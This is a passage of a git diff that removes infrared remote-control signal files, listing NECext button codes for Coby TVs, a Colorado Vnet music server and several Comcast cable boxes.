STANDBY_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0C 00 00 00 -# -name: STANDBY_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0C 00 00 00 -# -name: MUTE_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0D 00 00 00 -# -name: MUTE_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0D 00 00 00 -# -name: SLEEP_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0E 00 00 00 -# -name: SLEEP_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0E 00 00 00 -# -name: DISPLAY_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0F 00 00 00 -# -name: DISPLAY_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0F 00 00 00 -# -name: DIM_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0F 00 00 00 -# -name: DIM_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0F 00 00 00 -# -name: DISP_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0F 00 00 00 -# -name: DISP_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0F 00 00 00 -# -name: VOL+_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 10 00 00 00 -# -name: VOL+_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 10 00 00 00 -# -name: VOL-_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 11 00 00 00 -# -name: VOL-_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 11 00 00 00 -# -name: AUD5_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 12 00 00 00 -# -name: AUD5_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 12 00 00 00 -# -name: AUD6_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 13 00 00 00 -# -name: AUD6_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 13 00 00 00 -# -name: AUD1_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 14 00 00 00 -# -name: AUD1_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 14 00 00 00 -# -name: AUD2_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 15 00 00 00 -# -name: AUD2_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 15 00 00 00 -# -name: AUD3_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 16 00 00 00 -# -name: AUD3_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 16 00 00 00 -# -name: AUD4_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 17 00 00 00 -# -name: AUD4_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 17 00 00 00 -# -name: EX_7.1_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 18 00 00 00 -# -name: EX_7.1_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 18 00 00 00 -# -name: TAPE_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 1A 00 00 00 -# -name: TAPE_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 1A 00 00 00 -# -name: PATH_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 1C 00 00 00 -# -name: PATH_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 1C 00 00 00 -# -name: RECALL_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 1D 00 00 00 -# -name: RECALL_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 1D 00 00 00 -# -name: MEMORY_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 1E 00 00 00 -# -name: MEMORY_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 1E 00 00 00 -# -name: STORE_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 1F 00 00 00 -# -name: STORE_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 1F 00 00 00 -# -name: MODE>_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 20 00 00 00 -# -name: MODE>_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 20 00 00 00 -# -name: MODE_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 20 00 00 00 -# -name: MODE_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 20 00 00 00 -# -name: MODE_R_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 20 00 00 00 -# -name: MODE_R_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 20 00 00 00 -# -name: MENU_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 21 00 00 00 -# -name: MENU_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 21 00 00 00 -# -name: UP_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 22 00 00 00 -# -name: UP_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 22 00 00 00 -# -name: LEFT_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 23 00 00 00 -# -name: LEFT_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 23 00 00 00 -# -name: RIGHT_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 24 00 00 00 -# -name: RIGHT_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 24 00 00 00 -# -name: MENU_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 24 00 00 00 -# -name: MENU_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 24 00 00 00 -# -name: DOWN_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 25 00 00 00 -# -name: DOWN_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 25 00 00 00 -# -name: ENTER_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 26 00 00 00 -# -name: ENTER_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 26 00 00 00 -# -name: CANCEL_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 27 00 00 00 -# -name: CANCEL_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 27 00 00 00 -# -name: VIDEO_L_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 27 00 00 00 -# -name: VIDEO_L_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 27 00 00 00 -# -name: VIDEO_R_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 28 00 00 00 -# -name: VIDEO_R_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 28 00 00 00 -# -name: AUDIO_L_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 29 00 00 00 -# -name: AUDIO_L_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 29 00 00 00 -# -name: AUDIO_R_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 2A 00 00 00 -# -name: AUDIO_R_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 2A 00 00 00 -# -name: LEFT_FRONT_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 2C 00 00 00 -# -name: LEFT_FRONT_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 2C 00 00 00 -# -name: RIGHT_FRONT_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 2D 00 00 00 -# -name: RIGHT_FRONT_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 2D 00 00 00 -# -name: L_SURR_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 2E 00 00 00 -# -name: L_SURR_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 2E 00 00 00 -# -name: R_SURR_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 2F 00 00 00 -# -name: R_SURR_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 2F 00 00 00 -# -name: AV1_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 30 00 00 00 -# -name: AV1_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 30 00 00 00 -# -name: AV2_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 31 00 00 00 -# -name: AV2_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 31 00 00 00 -# -name: AV3_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 32 00 00 00 -# -name: AV3_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 32 00 00 00 -# -name: AV4_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 33 00 00 00 -# -name: AV4_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 33 00 00 00 -# -name: AV5_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 34 00 00 00 -# -name: AV5_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 34 00 00 00 -# -name: AV6_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 35 00 00 00 -# -name: AV6_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 35 00 00 00 -# -name: SUB+_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 36 00 00 00 -# -name: SUB+_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 36 00 00 00 -# -name: TRIM+_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 36 00 00 00 -# -name: TRIM+_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 36 00 00 00 -# -name: ZONE_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 37 00 00 00 -# -name: ZONE_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 37 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: CHAP< -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: FWW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 44 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 49 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4C 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 57 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5B 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Coby/TV/0,127.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Coby/TV/0,127.ir deleted file mode 100644 index 251d88342..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Coby/TV/0,127.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 8 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 02 00 00 00 -# -name: -/-- -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 03 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 06 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 07 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 0A 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 0B 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 0E 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 0F 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 12 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 13 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 16 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 17 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 1A 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 1B 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 1E 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 1F 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 4C 00 00 00 -# -name: SOUND -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 4D 00 00 00 -# -name: FORMAT -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 4E 00 00 00 -# -name: EPG -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 4F 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 50 00 00 00 -# -name: CH_LIST -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 51 00 00 00 -# -name: FAV -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 52 00 00 00 -# -name: P-MODE -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 53 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 54 00 00 00 -# -name: C.C. -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 55 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 56 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 57 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 58 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 59 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 5A 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 5B 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 5C 00 00 00 -# -name: MTS -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 5D 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 5E 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Colorado Vnet/Music Server/110,146.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Colorado Vnet/Music Server/110,146.ir deleted file mode 100644 index 32df1ff37..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Colorado Vnet/Music Server/110,146.ir +++ /dev/null @@ -1,92 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 6E 92 00 00 -command: 07 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 6E 92 00 00 -command: 09 00 00 00 -# -name: PAGE_CHAPTER_+ -type: parsed -protocol: NECext -address: 6E 92 00 00 -command: 0B 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 6E 92 00 00 -command: 0C 00 00 00 -# -name: LIST_COVERS_<> -type: parsed -protocol: NECext -address: 6E 92 00 00 -command: 0D 00 00 00 -# -name: PAGE_CHAPTER_- -type: parsed -protocol: NECext -address: 6E 92 00 00 -command: 0E 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 6E 92 00 00 -command: 0F 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 6E 92 00 00 -command: 10 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 6E 92 00 00 -command: 11 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 6E 92 00 00 -command: 12 00 00 00 -# -name: FFORWARD -type: parsed -protocol: NECext -address: 6E 92 00 00 -command: 14 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 6E 92 00 00 -command: 18 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 6E 92 00 00 -command: 1A 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 6E 92 00 00 -command: 26 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 6E 92 00 00 -command: 41 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Cable Box/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Cable Box/0,-1.ir deleted file mode 100644 index a097af857..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Cable Box/0,-1.ir +++ /dev/null @@ -1,536 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: ON_DEMAND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: ON_DEMAND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: PPV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: PPV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: PPV_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: C -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: CH_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: CH_DN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: ENTER_/_MUSIC -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: ENTER_#PAD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: OK/SELECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: OK_/_SELECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: LAST -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: INPUT_TV/VCR -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: FAV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: A -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: FFWD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: FAST_FOWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: RW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: TUNER_JUMP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: SWAP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 30 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 31 00 00 00 -# -name: HELP[ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: HELP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 33 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: DN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 39 00 00 00 -# -name: PAGE_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3A 00 00 00 -# -name: PAGE_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3A 00 00 00 -# -name: PAGE_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3A 00 00 00 -# -name: PAGE_DN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 -# -name: PAGE_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 -# -name: PAGE_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 -# -name: PAGE_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 -# -name: REPLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: REPLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: MY_DVR -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3D 00 00 00 -# -name: LIVE_TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3E 00 00 00 -# -name: LIVE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3E 00 00 00 -# -name: 30_SECOND_SKIP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 -# -name: SKIP_30_SECONDS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Cable Box/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Cable Box/1,-1.ir deleted file mode 100644 index 626392c22..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Cable Box/1,-1.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Cable Box/14,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Cable Box/14,-1.ir deleted file mode 100644 index 00bcc4b4b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Cable Box/14,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: FF -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Cable Box/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Cable Box/15,-1.ir deleted file mode 100644 index a5ddc8a42..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Cable Box/15,-1.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2E 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2E 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2E 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2F 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2F 00 00 00 -# -name: VOLUME+ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2F 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3F 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3F 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Cable Box/27,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Cable Box/27,-1.ir deleted file mode 100644 index cb3920107..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Cable Box/27,-1.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: UP -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 02 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 03 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 04 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 06 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 07 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0B 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0C 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0C 00 00 00 -# -name: 1 